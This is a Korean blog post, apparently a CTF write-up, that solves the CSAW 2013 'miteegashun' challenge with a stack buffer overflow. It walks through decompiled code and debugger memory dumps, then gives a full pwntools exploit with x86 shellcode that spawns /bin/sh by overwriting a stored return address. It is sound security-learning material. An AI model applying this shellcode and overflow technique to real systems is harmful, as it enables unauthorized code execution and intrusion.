티스토리 뷰

Pwnable/write up

CSAW 2013 miteegashun(400)

xxvd 2018. 11. 19. 02:23

친구랑 https://github.com/yacropolisy/pwn_challenge_list/blob/764c8661b5c7f1f07bedb629cd40dd7180bb529e/pwn_list.md 

여기 문제들 푸는 중인데 재밌는 문제가 있었다.


miteegashun


스태틱이길래 strace 해봤는데 read 하고 무슨 문자열 출력하고 끝난다.


대충 IDA로 분석 좀 해보면

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *sub_8048F8F()
{
  void **v0; // edx
  void *result; // eax
  char *v2; // [esp+0h] [ebp-8h]
  char *v3; // [esp+4h] [ebp-4h]
  void *retaddr; // [esp+Ch] [ebp+4h]
 
  array[idx++= retaddr;
  v3 = aWelcomeToThisD;
  v2 = aSeeFlawless;
  write(1, aWelcomeToThisD, 93);
  sub_8048F51();
  write(1, v2, 16);
  v0 = &array[--idx];
  result = *v0;
  retaddr = *v0;
  return result;
}
cs


리네이밍도 대충 해봤다 암튼 array에 retaddr 넣어놓고 함수 몇개 호출하고 array에 있는 값을 retaddr로 다시 넣어준다.(eip 변조 막기 위함인듯?)


1
2
3
4
5
6
7
8
9
10
11
12
13
void *sub_8048F51()
{
  void **v0; // edx
  void *result; // eax
  void *retaddr; // [esp+4h] [ebp+4h]
 
  array[idx++= retaddr;                       
  sub_8048F09();
  v0 = &array[--idx];
  result = *v0;
  retaddr = *v0;
  return result;
}
cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *sub_8048F09()
{
  void **v0; // edx
  void *result; // eax
  int v2; // [esp+0h] [ebp-100h]
  void *retaddr; // [esp+104h] [ebp+4h]
 
  array[idx++= retaddr;                       
  read(&v2);
  v0 = &array[--idx];
  result = *v0;
  retaddr = *v0;
  return result;
}
cs


저 위에 함수 담에 호출되는 함수들이다. v2를 read 하는 부분에서 array에 있는 retaddr를 변조할 수 있다면 아마 익스 가능할 것이다.


A를 200 300 400 개씩 늘려가면서 줘봤는데 500에서 eip가 완전 AAAA로 돌려졌다. 메모리를 보니깐



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/72wx $esp - 0x108
0x80f0340:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0350:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0360:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0370:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0380:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0390:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03a0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03b0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03c0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03d0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03e0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f03f0:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0400:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0410:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0420:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0430:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0440:    0x41414141    0x41414141    0x41414141    0x41414141
0x80f0450:    0x41414141    0x41414141    0x41414141    0x41414141
cs

여기가 buffer 시작주소이고 array가 0x80f04d5 이니깐 buffer부터 0x195만큼 떨어져있으니 그만큼 쉘코드+더미 주고 array에 있는 retaddr를 buffer로 돌리면 쉘이 따일것이다.

근데 계속 EOF가 뜨길래 좀 분석해봤는데 


1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/wx 0x80f04d5
0x80f04d5:    0x00000000
pwndbg> 
0x80f04d9:    0x0804902f
pwndbg> 
0x80f04dd:    0x08048fd5
pwndbg> 
0x80f04e1:    0x08048f72
pwndbg> 
0x80f04e5:    0x00000000
 
cs

array[idx++] 하면서 retaddr 저장하니깐 함수를 두 번 불렀으니 저기 0x80f04e1을 변조하면 마지막 함수쪽의 retaddr이 변조 될
것이다.

더미를 딱 맞춰서 익스를 돌리니 쉘이 따였다

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= process('./miteegashun')
 
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
buf = 0x80f0340
 
 
payload = sc
payload += "A"*(417-len(sc))
payload +=p32(buf)
 
p.recvuntil("wrong\n")
p.sendline(payload)
pause()
p.interactive()
 
cs



'Pwnable > write up' 카테고리의 다른 글

[고등해커] Basic Assembly  (0) 2018.12.02
P.W.N ctf exploitClass  (0) 2018.11.18
P.W.N ctf write up  (0) 2018.11.04
[PlaidCTF 2014] kappa  (0) 2018.09.26
[DEFCON 2015] r0pbaby  (0) 2018.09.16
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함